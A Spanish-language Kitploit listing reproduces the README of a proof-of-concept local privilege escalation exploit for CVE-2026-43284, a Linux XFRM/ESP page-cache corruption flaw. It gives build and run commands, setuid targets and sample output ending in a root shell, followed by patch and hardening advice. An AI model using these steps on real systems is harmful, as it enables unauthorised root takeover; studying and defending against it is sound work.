Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-43284-DirtyFrag-PoC — Prueba de concepto para CVE-2026-43284 — primitiva de escritura de 4 bytes en caché de páginas XFRM/ESP para parchear un binario setuid (x86_64, espacios de usuario). Incluye verificación previa del kernel + escaneo SUID. | Kitploit
Herramientas/GitHubGitHub/jayhutajulu1/cve-2026-43284-dirtyfrag-poc
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónExplotación de Binarios
GitHubjayhutajulu1/cve-2026-43284-dirtyfrag-poc

CVE-2026-43284-DirtyFrag-PoC

Prueba de concepto para CVE-2026-43284 — primitiva de escritura de 4 bytes en caché de páginas XFRM/ESP para parchear un binario setuid (x86_64, espacios de usuario). Incluye verificación previa del kernel + escaneo SUID.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
111hace 2 mesesAún no revisado

CVE-2026-43284 — Corrupción de caché de páginas XFRM/ESP (4 bytes)

CVE Plataforma Tipo Estado

Prueba de concepto de escalada local de privilegios mediante corrupción de caché de páginas XFRM/ESP
Primitiva de escritura de 4 bytes · 48 iteraciones · Sobrescritura de 192 bytes ELF · usuario no privilegiado + netns


Prueba de concepto

Comprobaciones previas y fases del exploit en WSL2 Ubuntu 24.04 Shell de root exitosa con verificación de uid=0

Izquierda: comprobación previa del kernel, escaneo setuid y cadena del exploit  ·  Derecha: shell de root generada — id / whoami confirman uid=0(root)
Probado en WSL2 · Ubuntu 24.04.1 LTS · kernel 6.6.87.2-microsoft-standard-WSL2


  ╔═══════════════════════════════════════╗
  ║  SLEY - CVE-2026-43284 dirtyfrag PoC  ║
  ╚═══════════════════════════════════════╝

Aviso: Solo para investigación de seguridad autorizada, educación y pruebas en sistemas que posea o para los que tenga permiso explícito. Los autores no son responsables del mal uso.


Resumen

CVECVE-2026-43284
TipoEscalada local de privilegios (LPE)
VectorCorrupción de caché de páginas XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP)
Primitiva4 bytes por iteración (ESN seq_hi)
PayloadELF x86_64 de 192 bytes (setuid(0) + setgid(0) + execve("/bin/sh"))
Objetivo predeterminado/usr/bin/su
ArquitecturaSolo x86_64
Privilegios requeridosUsuario no privilegiado (utiliza espacios de nombres de usuario y red)

Funciona incluso cuando algif_aead está en la lista negra: el exploit utiliza directamente la ruta del código XFRM/ESP del kernel.


Características

Comprobaciones previas integradas antes de la explotación:

  1. Configuración del kernel — verifica CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP
    (lee /boot/config-*, /lib/modules/*/config, o /proc/config.gz en WSL2)
  2. Escaneo de setuid — lista los binarios SUID en el sistema (find / -perm -4000)
  3. Exploit — parchea la caché de páginas, genera shell de root vía PTY, restaura el objetivo al salir

Requisitos

Opciones del kernel

CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m   # o =y

Verificación rápida:

# bare metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)

# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='

Otros

  • Kernel Linux vulnerable a CVE-2026-43284 (ver Estado del parche)
  • gcc, libc, libutil (para forkpty)
  • Binario setuid legible como objetivo (predeterminado: /usr/bin/su)

Compilación

git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make

O manualmente:

gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil

-O0 es intencional — la optimización puede romper el comportamiento sensible a tiempos de splice/UDP.


Uso

1. Confirmar que no está privilegiado

id
# uid=1000(su_usuario) gid=1000(su_usuario) groups=...

2. Ejecutar el exploit

./sley-dirtyfrag                  # objetivo predeterminado: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd  # binario setuid personalizado

La herramienta ejecuta tres fases automatizadas:

FaseQué hace
1Comprobación previa de la configuración del kernel (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP)
2Escaneo completo del sistema de binarios setuid; resalta el objetivo predeterminado
3Respaldar objetivo → parchear caché de páginas (48 escrituras de 4 bytes) → generar shell de root

3. Verificar acceso root

Dentro del shell generado:

id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

4. Salir para restaurar

Presione Ctrl+D o escriba exit. La PoC descarta la caché de páginas para que el binario original en disco se restaure automáticamente.

Si la restauración falla:

echo 3 | sudo tee /proc/sys/vm/drop_caches

Referencia de comandos

ComandoDescripción
./sley-dirtyfragExplotar /usr/bin/su (predeterminado)
./sley-dirtyfrag /ruta/a/suidExplotar un binario setuid personalizado
makeCompilar sley-dirtyfrag
make cleanEliminar el binario

Ejemplo de salida

┌─[ fase 1] comprobación previa de configuración del kernel
  → /proc/config.gz
  [+] CONFIG_USER_NS        = y  (requerido =y)
  [+] CONFIG_XFRM           = y  (requerido =y)
  [+] CONFIG_INET_ESP       = m  (requerido =m or =y)
  opciones del kernel OK.

┌─[ fase 2] escaneo de binarios setuid
  10 /usr/bin/su  ← objetivo
  encontrados 14 binarios setuid.

┌─[ fase 3] exploit
  [*] unshare userns+netns, registrar 48 SA XFRM, splice→UDP 4500...
  [+] corrupt               todas las iteraciones hechas
  [+] verify                parche ELF detectado

  ╔══════════════════════════════════════╗
  ║  shell de root — salir para restaurar ║
  ╚══════════════════════════════════════╝

Mitigación

Aplicar el parche del kernel (recomendado)

Corregido enf4c50a4034e6 (mainline, 8 de mayo de 2026)
Introducidocac2661c53f3 (enero de 2017)

Acción: Actualice a un kernel de distribución que incluya la corrección, o compile desde un árbol mainline parcheado.

# verifique su kernel en ejecución
uname -r

# verifique que la corrección está presente (ejemplo — ajuste según el nombre del paquete de su distribución)
# apt update && apt install --only-upgrade linux-image-$(uname -r)

Opciones de endurecimiento (defensa en profundidad)

MedidaEfecto
Parchear / actualizar el kernelElimina el error subyacente de escritura en la caché de páginas
Restringir espacios de nombres de usuarioBloquea esta PoC (requiere CONFIG_USER_NS)
Eliminar binarios setuid innecesariosReduce objetivos viables (chmod u-s, o desinstalar)
Bloqueo / LSM (SELinux, AppArmor)Puede limitar el impacto posterior a la explotación según la política
Monitorear XFRM + UDP/4500Detectar registro anómalo de SA y tráfico ESP-in-UDP desde espacios de nombres no privilegiados

Restringir espacios de nombres de usuario no privilegiados

Este exploit depende de unshare(CLONE_NEWUSER | CLONE_NEWNET) sin root.

# en tiempo de ejecución (puede no existir en todos los kernels)
sysctl kernel.unprivileged_userns_clone=0

# o deshabilitar en tiempo de compilación
# CONFIG_USER_NS no está configurado

Nota: Deshabilitar los espacios de nombres de usuario bloquea esta PoC pero no necesariamente CVE-2026-43500 (variante rxrpc para sistemas sin userns).

Auditar binarios setuid

find / -perm -4000 -type f 2>/dev/null
# eliminar o endurecer binarios que no necesite
Descargar herramienta